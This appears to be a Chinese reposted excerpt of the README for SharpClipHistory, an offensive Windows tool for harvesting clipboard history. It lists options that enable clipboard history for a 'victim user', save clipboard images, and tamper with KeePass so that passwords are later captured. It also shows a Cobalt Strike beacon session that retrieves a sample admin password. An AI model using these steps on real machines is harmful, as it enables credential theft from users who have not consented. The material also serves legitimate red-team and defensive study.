C:\Program Files (x86)\Windows Kits\10\References\10.0.17763.0\Windows.Foundation.FoundationContract\3.0.0.0\Windows.Foundation.FoundationContract.winmd
还必须安装UWPDesktop软件包以处理其他UWP依赖项。
CommandLineParser和Costura.Fody也是必需的。
此处还可以找到预构建的可执行文件。
用法
C:\Users\User\Desktop>SharpClipHistory.exe --help
SharpClipHistory v1.0
Usage: SharpClipHistory.exe <option>
Options:
--checkOnly
Check if the Clipboard history feature is available and enabled on the target host.
--enableHistory
Edit the registry to enable clipboard history for the victim user and get contents.
--saveImages
Save any images in clipboard to a file in APPDATA.
--keepassBypass
Stops KeePass (if it is running) and modifies the config file. Next time KeePass is launched passwords will be saved in clipboard history.
例子
beacon> execute-assembly /root/SharpClipHistory.exe
[*] Tasked beacon to run .NET program: SharpClipHistory.exe
[+] host called home, sent: 224299 bytes
[+] received output:
[+] Clipboard history feature is enabled!
[+] Clipboard history Contents:
4/25/2019 2:27:11 PM admin
4/25/2019 2:27:06 PM Sup3rS3cur3Passw0rd123!
本文摘自ctolib码库,原文地址:https://www.ctolib.com/topics-141446.html,侵删。
相关阅读 >>
SharpClipHistory:mwr labs开源的一款windows剪切板历史监控工具
更多相关阅读请进入《SharpClipHistory》频道 >>

C#高级编程(第11版) C# 7 & .NET Core 2.0(.NET开发经典名著)
作者:[美]克里斯琴·内格尔(Christian Nagel)著。出版时间:2019年3月。